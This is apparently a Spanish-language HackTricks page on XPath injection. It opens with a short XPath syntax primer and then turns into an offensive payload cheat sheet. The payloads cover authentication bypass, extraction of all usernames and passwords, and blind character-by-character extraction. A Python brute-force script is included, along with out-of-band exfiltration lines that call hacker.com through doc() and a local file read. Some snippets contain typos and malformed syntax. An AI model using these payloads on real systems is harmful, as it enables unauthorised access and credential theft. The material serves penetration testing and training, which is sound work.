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# XPATH injection
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## Basic Syntax
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Una técnica de ataque conocida como XPath Injection se utiliza para aprovechar aplicaciones que forman consultas XPath (XML Path Language) basadas en la entrada del usuario para consultar o navegar documentos XML.
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### Nodes Described
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Las expresiones se utilizan para seleccionar varios nodos en un documento XML. Estas expresiones y sus descripciones se resumen a continuación:
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* **nodename**: Se seleccionan todos los nodos con el nombre "nodename".
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* **/**: La selección se realiza desde el nodo raíz.
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* **//**: Se seleccionan los nodos que coinciden con la selección desde el nodo actual, independientemente de su ubicación en el documento.
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* **.**: Se selecciona el nodo actual.
* **..**: Se selecciona el padre del nodo actual.
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* **@**: Se seleccionan los atributos.
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### XPath Examples
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Ejemplos de expresiones de ruta y sus resultados incluyen:
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* **bookstore**: Se seleccionan todos los nodos llamados "bookstore".
* **/bookstore**: Se selecciona el elemento raíz bookstore. Se observa que una ruta absoluta a un elemento se representa por una ruta que comienza con una barra (/).
* **bookstore/book**: Se seleccionan todos los elementos book que son hijos de bookstore.
* **//book**: Se seleccionan todos los elementos book en el documento, independientemente de su ubicación.
* **bookstore//book**: Se seleccionan todos los elementos book que son descendientes del elemento bookstore, sin importar su posición bajo el elemento bookstore.
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* **//@lang**: Se seleccionan todos los atributos llamados lang.
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### Utilization of Predicates
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Se utilizan predicados para refinar las selecciones:
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* **/bookstore/book\[1]**: Se selecciona el primer elemento book hijo del elemento bookstore. Una solución alternativa para las versiones de IE 5 a 9, que indexan el primer nodo como \[0], es establecer el SelectionLanguage en XPath a través de JavaScript.
* **/bookstore/book\[last()]**: Se selecciona el último elemento book hijo del elemento bookstore.
* **/bookstore/book\[last()-1]**: Se selecciona el penúltimo elemento book hijo del elemento bookstore.
* **/bookstore/book\[position()< 3 ]** : Se seleccionan los dos primeros elementos book hijos del elemento bookstore .
* **//title\[@lang ]**: Se seleccionan todos los elementos title con un atributo lang.
* **//title\[@lang ='en']**: Se seleccionan todos los elementos title con un valor de atributo "lang" de "en".
* **/bookstore/book\[price>35.00]**: Se seleccionan todos los elementos book de la bookstore con un precio mayor a 35.00.
* **/bookstore/book\[price>35.00]/title**: Se seleccionan todos los elementos title de los elementos book de la bookstore con un precio mayor a 35.00.
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### Handling of Unknown Nodes
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Se emplean comodines para hacer coincidir nodos desconocidos:
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* **\***: Coincide con cualquier nodo de elemento.
* **@**\*: Coincide con cualquier nodo de atributo.
* **node()**: Coincide con cualquier nodo de cualquier tipo.
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Más ejemplos incluyen:
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* **/bookstore/\***: Selecciona todos los nodos de elementos hijo del elemento bookstore.
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* **//\***: Selecciona todos los elementos en el documento.
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* **//title\[@\*]**: Selecciona todos los elementos title con al menos un atributo de cualquier tipo.
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## Example
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```xml
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<?xml version="1.0" encoding="ISO-8859-1"?>
< data >
< user >
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< name > pepe< / name >
< password > peponcio< / password >
< account > admin< / account >
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< / user >
< user >
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< name > mark< / name >
< password > m12345< / password >
< account > regular< / account >
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< / user >
< user >
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< name > fino< / name >
< password > fino2< / password >
< account > regular< / account >
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< / user >
< / data >
```
### Acceder a la información
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3 *3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
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### Identificar y robar el esquema
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```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count (root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count (a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count (b) = 0
and count(/*[1]/*[2]/*) = 3 #count (c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count (d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count (e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count (f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count (g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
< root >
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< a >
< b > < / b >
< / a >
< c >
< d > < / d >
< e > < / e >
< f >
< h > < / h >
< / f >
< / c >
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< / root >
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>` is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
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## Bypass de Autenticación
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### **Ejemplo de consultas:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
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### **OR eludir en usuario y contraseña (mismo valor en ambos)**
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```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
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### **Abusando de la inyección nula**
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```
Username: ' or 1]%00
```
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### **Doble OR en el nombre de usuario o en la contraseña** (es válido con solo 1 campo vulnerable)
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IMPORTANTE: Tenga en cuenta que ** "y" es la primera operación realizada**.
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```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))< 10 or ' #Select account with length ( name )< 10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## Extracción de cadenas
La salida contiene cadenas y el usuario puede manipular los valores para buscar:
```
/user/username[contains(., '+VALUE+')]
```
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
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## Explotación Ciega
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### **Obtener la longitud de un valor y extraerlo mediante comparaciones:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
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### **Ejemplo de Python**
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```python
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import requests, string
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flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
r = requests.get("http://example.com?action=user& userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print ("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user& userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
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```
### Leer archivo
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## Explotación OOB
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### Herramienta automática
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* [xcat ](https://xcat.readthedocs.io/ )
* [xxxpwn ](https://github.com/feakk/xxxpwn )
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* [xxxpwn\_smart ](https://github.com/aayla-secura/xxxpwn\_smart )
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* [xpath-blind-explorer ](https://github.com/micsoftvn/xpath-blind-explorer )
* [XmlChor ](https://github.com/Harshal35/XMLCHOR )
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## Referencias
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection )
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* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010) ](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\ ))
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* [https://www.w3schools.com/xml/xpath\_syntax.asp ](https://www.w3schools.com/xml/xpath\_syntax.asp )
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{% hint style="success" %}
Aprende y practica Hacking en AWS:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
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< / details >
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{% endhint %}